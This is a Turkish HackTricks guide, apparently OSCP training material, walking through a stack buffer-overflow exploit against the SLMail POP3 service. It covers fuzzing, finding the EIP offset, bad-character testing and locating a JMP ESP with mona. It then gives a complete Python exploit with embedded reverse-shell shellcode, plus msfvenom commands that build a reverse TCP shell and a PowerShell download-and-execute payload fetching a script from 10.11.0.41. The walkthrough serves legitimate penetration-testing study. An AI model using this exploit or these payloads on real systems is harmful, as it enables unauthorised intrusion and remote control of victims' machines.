hacktricks/exploiting/windows-exploiting-basic-guide-oscp-lvl.md

288 lines
11 KiB
Markdown
Raw Normal View History

2024-02-10 18:14:16 +00:00
# Windows Exploiting (Temel Kılavuz - OSCP seviyesi)
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 18:14:16 +00:00
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'ı desteklemenin diğer yolları:
2024-02-02 12:19:57 +00:00
2024-02-10 18:14:16 +00:00
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 18:14:16 +00:00
## **SLMail servisini kurmaya başlayın**
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
## SLMail servisini yeniden başlatın
2024-02-10 18:14:16 +00:00
Her seferinde **SLMail servisini yeniden başlatmanız gerektiğinde**, bunu Windows konsolunu kullanarak yapabilirsiniz:
```
net start slmail
```
2024-02-10 18:14:16 +00:00
## Çok temel bir python saldırı şablonu
```python
#!/usr/bin/env python3
import socket
# Target IP and Port
target_ip = "192.168.1.10"
target_port = 1337
# Create a socket object
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
2024-02-10 18:14:16 +00:00
# Connect to the target
s.connect((target_ip, target_port))
2024-02-10 18:14:16 +00:00
# Craft the payload
payload = b"A" * 100
2024-02-10 18:14:16 +00:00
# Send the payload
s.send(payload)
# Close the connection
s.close()
```
Bu şablon, hedef bir IP adresi ve port numarası üzerinde çalışan bir hedefe basit bir saldırı gerçekleştirmek için kullanılabilir. Saldırı, bir TCP soketi oluşturarak başlar ve hedefe bağlanır. Ardından, belirli bir boyutta bir payload oluşturulur ve hedefe gönderilir. Son olarak, bağlantı kapatılır.
2020-12-28 14:30:41 +00:00
```python
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110
buffer = 'A' * 2700
try:
2024-02-10 18:14:16 +00:00
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
2024-02-10 18:14:16 +00:00
print "Could not connect to "+ip+":"+port
```
2024-02-10 18:14:16 +00:00
## **Immunity Debugger Yazı Tipini Değiştirme**
2024-02-10 18:14:16 +00:00
`Options >> Appearance >> Fonts >> Change(Consolas, Bold, 9) >> OK` yolunu izleyin.
2024-02-10 18:14:16 +00:00
## **İşlemi Immunity Debugger'a Ekleyin:**
**File --> Attach**
2022-12-24 19:34:46 +00:00
![](<../.gitbook/assets/image (24) (1) (1).png>)
2024-02-10 18:14:16 +00:00
**Ve START düğmesine basın**
2024-02-10 18:14:16 +00:00
## **Exploit'i gönderin ve EIP'nin etkilenip etkilenmediğini kontrol edin:**
2022-12-24 19:34:46 +00:00
![](<../.gitbook/assets/image (25) (1) (1).png>)
2024-02-10 18:14:16 +00:00
Her seferinde hizmeti kırdığınızda, bu sayfanın başında belirtildiği gibi yeniden başlatmanız gerekmektedir.
2024-02-10 18:14:16 +00:00
## EIP'yi değiştirmek için bir desen oluşturun
2024-02-10 18:14:16 +00:00
Desen, önceden hizmeti kırmak için kullandığınız tampon kadar büyük olmalıdır.
2022-12-24 19:34:46 +00:00
![](<../.gitbook/assets/image (26) (1) (1).png>)
```
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
```
2024-02-10 18:14:16 +00:00
Exploitin tamponunu değiştirin ve deseni ayarlayın ve saldırıyı başlatın.
2024-02-10 18:14:16 +00:00
Yeni bir çökme meydana gelmelidir, ancak farklı bir EIP adresiyle:
2022-12-24 19:34:46 +00:00
![](<../.gitbook/assets/image (27) (1) (1).png>)
2024-02-10 18:14:16 +00:00
Adresin deseninizde olup olmadığını kontrol edin:
2022-12-24 19:34:46 +00:00
![](<../.gitbook/assets/image (28) (1) (1).png>)
```
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
```
2024-02-10 18:14:16 +00:00
Görünüşe göre, tamponun EIP'sini 2606 ofsetinde değiştirebiliriz.
2024-02-10 18:14:16 +00:00
Exploitin tamponunu değiştirerek kontrol edin:
```
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
```
2024-02-10 18:14:16 +00:00
Bu tamponla EIP çökmesi 42424242 ("BBBB")'ye işaret etmelidir.
2022-12-24 19:34:46 +00:00
![](<../.gitbook/assets/image (30) (1) (1).png>)
2022-12-24 19:34:46 +00:00
![](<../.gitbook/assets/image (29) (1) (1).png>)
2024-02-10 18:14:16 +00:00
Görünüşe göre çalışıyor.
2024-02-10 18:14:16 +00:00
## Stack içinde Shellcode alanını kontrol et
2024-02-10 18:14:16 +00:00
600B, herhangi bir güçlü shellcode için yeterli olmalıdır.
2024-02-10 18:14:16 +00:00
Hadi tamponu değiştirelim:
```
buffer = 'A'*2606 + 'BBBB' + 'C'*600
```
2024-02-10 18:14:16 +00:00
Yeni saldırıyı başlatın ve kullanışlı shellcode'un EBP ve uzunluğunu kontrol edin
2022-09-30 10:27:15 +00:00
![](<../.gitbook/assets/image (31) (1).png>)
2022-09-30 10:43:59 +00:00
![](<../.gitbook/assets/image (32) (1).png>)
2024-02-10 18:14:16 +00:00
Görüldüğü gibi, zafiyet ulaşıldığında, EBP shellcode'a işaret ediyor ve burada bir shellcode yerleştirmek için çok fazla alanımız var.
2024-02-10 18:14:16 +00:00
Bu durumda **0x0209A128'den 0x0209A2D6'ya kadar = 430B**. Yeterli.
2024-02-10 18:14:16 +00:00
## Kötü karakterleri kontrol edin
2024-02-10 18:14:16 +00:00
Buffer'ı tekrar değiştirin:
```
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
buffer = 'A'*2606 + 'BBBB' + badchars
```
2024-02-10 18:14:16 +00:00
Kötü karakterler genellikle 0x00 olduğu için, kötü karakterler 0x01'den başlar.
2024-02-10 18:14:16 +00:00
Bu yeni tamponla tekrar tekrar saldırıyı gerçekleştirin ve kullanışsız olduğu tespit edilen karakterleri silin:
2024-02-10 18:14:16 +00:00
Örneğin:
2024-02-10 18:14:16 +00:00
Bu durumda **0x0A karakterini kullanmamalısınız** (0x09 karakterinden sonra bellekte hiçbir şey kaydedilmez).
2022-10-24 09:15:22 +00:00
![](<../.gitbook/assets/image (33) (1).png>)
2024-02-10 18:14:16 +00:00
Bu durumda **0x0D karakteri kaçınılmalıdır**:
2022-12-03 18:45:54 +00:00
![](<../.gitbook/assets/image (34) (1).png>)
2024-02-10 18:14:16 +00:00
## Bir JMP ESP'yi dönüş adresi olarak bulma
2024-02-10 18:14:16 +00:00
Kullanarak:
```
!mona modules #Get protections, look for all false except last one (Dll of SO)
```
2024-02-10 18:14:16 +00:00
Bellek haritalarını **listelersiniz**. Şu özelliklere sahip bir DLL arayın:
* **Rebase: False**
* **SafeSEH: False**
* **ASLR: False**
* **NXCompat: False**
* **OS Dll: True**
2022-12-03 18:45:54 +00:00
![](<../.gitbook/assets/image (35) (1).png>)
2024-02-10 18:14:16 +00:00
Şimdi, bu bellek içinde JMP ESP baytlarını bulmanız gerekiyor, bunu yapmak için şunu çalıştırın:
```
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
```
2024-02-10 18:14:16 +00:00
**Ardından, bir adres bulunursa, herhangi bir kötü karakter içermeyen bir adres seçin:**
2022-12-03 18:45:54 +00:00
![](<../.gitbook/assets/image (36) (1).png>)
2024-02-10 18:14:16 +00:00
**Bu durumda, örneğin: \_0x5f4a358f**\_
2024-02-10 18:14:16 +00:00
## Kabuk kodu oluşturma
```
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
```
2024-02-10 18:14:16 +00:00
Eğer exploit çalışmıyorsa ancak çalışması gerekiyorsa (ImDebg ile shellcode'a ulaşıldığını görebilirsiniz), aynı parametrelerle farklı shellcode'lar oluşturmak için başka shellcode'lar oluşturmayı deneyin (msfvenom kullanın).
2024-02-10 18:14:16 +00:00
Shellcode'un başına **bazı NOPS ekleyin** ve onu ve dönüş adresini JMP ESP'ye kullanarak exploit'i tamamlayın:
2020-12-28 15:40:10 +00:00
```bash
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110
shellcode = (
"\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
"\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b"
"\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4"
"\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6"
"\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4"
"\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36"
"\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9"
"\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19"
"\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef"
"\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78"
"\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85"
"\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4"
"\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35"
"\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71"
"\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8"
"\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf"
"\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a"
"\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5"
"\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25"
"\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4"
"\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1"
"\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a"
"\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d"
"\x2d\xb8\x63\xe2\x4e\xe9"
)
buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
try:
2024-02-10 18:14:16 +00:00
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
2024-02-10 18:14:16 +00:00
print "Could not connect to "+ip+":"+port
```
2020-12-28 15:40:10 +00:00
{% hint style="warning" %}
2024-02-10 18:14:16 +00:00
Kendilerini **üzerine yazacak** kabuk kodları vardır, bu yüzden kabuk kodundan önce her zaman biraz NOP eklemek önemlidir.
2020-12-28 15:40:10 +00:00
{% endhint %}
2024-02-10 18:14:16 +00:00
## Kabuk kodunu iyileştirme
2024-02-10 18:14:16 +00:00
Bu parametreleri ekleyin:
```
EXITFUNC=thread -e x86/shikata_ga_nai
```
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 18:14:16 +00:00
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'i desteklemenin diğer yolları:
2024-02-02 12:19:57 +00:00
2024-02-10 18:14:16 +00:00
* Şirketinizi HackTricks'te **reklamını görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.**
* Hacking hilelerinizi **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın.
2022-04-28 16:01:33 +00:00
</details>